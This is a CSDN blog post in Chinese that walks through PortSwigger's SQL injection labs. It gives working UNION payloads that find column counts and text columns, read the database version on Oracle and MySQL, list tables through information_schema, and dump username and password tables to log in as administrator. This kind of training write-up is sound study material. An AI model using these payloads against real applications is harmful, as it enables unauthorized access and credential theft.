portswigger之SQL注入实验室笔记

本文档详细记录了Portswigger Web安全学院的SQL注入实验室系列,涵盖了从基本的UNION攻击到复杂的盲注技巧,如通过时间延迟和带外交互来探测数据库信息。实验室涉及寻找列数、数据类型、数据库版本、表和列名,以及通过盲注获取用户凭证。通过使用Burp Suite工具,逐步解析和利用SQL注入漏洞,最终实现登录绕过。
摘要由CSDN通过智能技术生成

01 SQL 注入 UNION 攻击,查找包含文本的列

描述

该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。这种攻击的第一步是确定查询返回的列数。然后,您将在后续实验中使用此技术来构建完整的攻击。

要解决该实验,请通过执行SQL 注入 UNION攻击来确定查询返回的列数,该攻击会返回包含空值的附加行。

解决方案

使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。

修改category参数,赋予它值'+UNION+SELECT+NULL--。观察是否发生错误。

修改category参数以添加包含空值的附加列:'+UNION+SELECT+NULL,NULL--

继续添加空值,直到错误消失并且响应包括包含空值的附加内容。

'+ORDER+BY+3--

'+UNION+SELECT+NULL,NULL,NULL--

02 SQL 注入 UNION 攻击,查找包含文本的列

描述

该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。要构建这样的攻击,首先需要确定查询返回的列数。您可以使用在之前的实验室中学到的技术来完成此操作。下一步是确定与字符串数据兼容的列。

实验室将提供您需要在查询结果中显示的随机值。为了解决实验室问题,请执行SQL 注入 UNION攻击,该攻击会返回包含所提供值的附加行。此技术可帮助您确定哪些列与字符串数据兼容。

解决方案

使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。

确定查询返回的列数。使用category参数中的以下有效负载验证查询是否返回三列:'+UNION+SELECT+NULL,NULL,NULL--

尝试用实验室提供的随机值替换每个空值,例如:'+UNION+SELECT+'abcdef',NULL,NULL--

如果发生错误,请移至下一个空值并改为尝试。

任务:使数据库检索字符串:'X8VH6Z'

'+UNION+SELECT+NULL,NULL,'X8VH6Z'--

03 SQL注入UNION攻击,从其他表中检索数据

描述

该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。要构建这样的攻击,您需要结合您在之前实验室中学到的一些技术。

数据库包含一个名为 的不同表users,其列名为usernamepassword

为解决实验室问题,执行SQL 注入 UNION攻击,检索所有用户名和密码,并使用该信息以administrator用户身份登录。

解决方案

Use Burp Suite to intercept and modify the request that sets the product category filter.

确定查询返回的列数以及哪些列包含文本数据。验证查询返回两列,它们都包含文字,使用像在类别参数以下的有效载荷:'+UNION+SELECT+'abc','def'--

使用以下有效负载检索users表的内容:'+UNION+SELECT+username,+password+FROM+users--

验证应用程序的响应是否包含用户名和密码。

使用'+UNION+SELECT+username,password+FROM+users--获取用户名密码表,得到administrator/a2t6t7m3ybo5f7cz7fja

使用得到的用户名密码登录

04 SQL 注入 UNION 攻击,在单列中检索多个值

描述

该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。

数据库包含一个名为 的不同表users,其列名为usernamepassword

为解决实验室问题,执行SQL 注入 UNION攻击,检索所有用户名和密码,并使用该信息以administrator用户身份登录。

解决方案

使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。

确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列,其中只有一列包含文本,在category参数中使用如下所示的有效负载:'+UNION+SELECT+NULL,'abc'--

使用以下有效负载检索users表的内容:'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

验证应用程序的响应是否包含用户名和密码。

'+order+by+2--判断列数为2

'+union+select+null,'aaa'--判断回显字段是第二个

'+union+select+null,username+||+'~'+||+password+FROM+users--读取密码

登录administrator~l32y00qu4gkslzqy9d0g

05 SQL注入攻击,在Oracle上查询数据库类型和版本

描述

该实验室在产品类别过滤器中包含一个SQL 注入漏洞。您可以使用 UNION 攻击从注入的查询中检索结果。

要解决实验室问题,请显示数据库版本字符串。

解决方案

使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。

确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列,这两列都包含文本,在category参数中使用如下所示的有效负载:'+UNION+SELECT+'abc','def'+FROM+dual--

使用以下有效负载显示数据库版本:'+UNION+SELECT+BANNER,+NULL+FROM+v$version--

'+ORDER+BY+2--判断列数为2

union sql注入攻击中要做的第二件事是确定列的数据类型。我们使用union空查询来做到这一点,我们已经知道有两个列,我们要做的是将int值或字符串测试每一列

' UNION SELECT 'aa', NULL--

如果该列的数据类型不兼容对于使用过滤类别的列的数据类型,它应该抛出一个错误,告诉我们该列不是字符串类型。如果我们没有收到错误,这意味着该列现在是字符串类型。

在此实验环境中,我们可以看到两列都包含字母,所以他们都是字符串类型(还是要进一步测试确认)。

测试' UNION SELECT 'aa', 'aa'--

报错Internal Server Error

可以确定我们的操作是没有问题的,我们搜索一下oracle的select语句用法oracle select statement

Oracle select语句解释https://www.oracletutorial.com/oracle-basics/oracle-select/

oracle双表解释https://www.oracletutorial.com/oracle-basics/oracle-dual-table/

在 Oracle 中,SELECT语句必须有一个FROM子句。但是,某些查询不需要任何表

Oracle 为您提供了DUAL的一个特殊的表,它属于SYS用户的模式,但所有用户都可以访问。

所以我们为union select后加上from DUAL子句

' UNION SELECT 'aa', 'aa' FROM DUAL--

显示成功

参阅我们的SQL 注入备忘单来找到Oracle数据库查询数据库版本的语句

SELECT banner FROM v$version
SELECT version FROM v$instance

所以我们的payload是

' UNION SELECT banner, 'aa' FROM v$instance--

刷新页面会显示恭喜解决

06 SQL注入攻击,在MySQL和微软上查询数据库类型和版本

描述

该实验室在产品类别过滤器中包含一个SQL 注入漏洞。您可以使用 UNION 攻击从注入的查询中检索结果。

要解决实验室问题,请显示数据库版本字符串。

解决方案

  1. Use Burp Suite to intercept and modify the request that sets the product category filter.

  2. 确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列,这两列都包含文本,在category参数中使用如下所示的有效负载:'+UNION+SELECT+'abc','def'#

  3. 使用以下有效负载显示数据库版本:'+UNION+SELECT+@@version,+NULL#

同样的思路,先确定列数,通过网页显示内容可以猜测是2列

' ORDER BY 2--查询报错

我们的语法没有问题,这个服务器错误可能是对我们的某个符号进行了过滤,现在我们把--注释符修改为#进行测试,成功

' ORDER BY 2#查询成功

' UNION SELECT 'AAA', 'BBB'#查询

现在我们需要使用SQL注入语句查询数据库版本,查阅我们的SQL 注入备忘单,找到一些有用的有效负载

SELECT @@version

' UNION SELECT @@version, 'BBB'#

成功解决

07 SQL注入攻击,列出非Oracle数据库上的数据库内容

描述

该实验室在产品类别过滤器中包含一个SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。

该应用程序具有登录功能,数据库包含一个保存用户名和密码的表。您需要确定该表的名称及其包含的列,然后检索该表的内容以获取所有用户的用户名和密码。

要解决实验室,请以administrator用户身份登录。

解决方案

使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。

确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列,这两列都包含文本,在category参数中使用如下所示的有效负载:'+UNION+SELECT+'abc','def'--

使用以下有效负载检索数据库中的表列表:'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--

查找包含用户凭据的表的名称。

使用以下有效负载(替换表名)来检索表中列的详细信息:'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_abcdef'--

  • 1
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值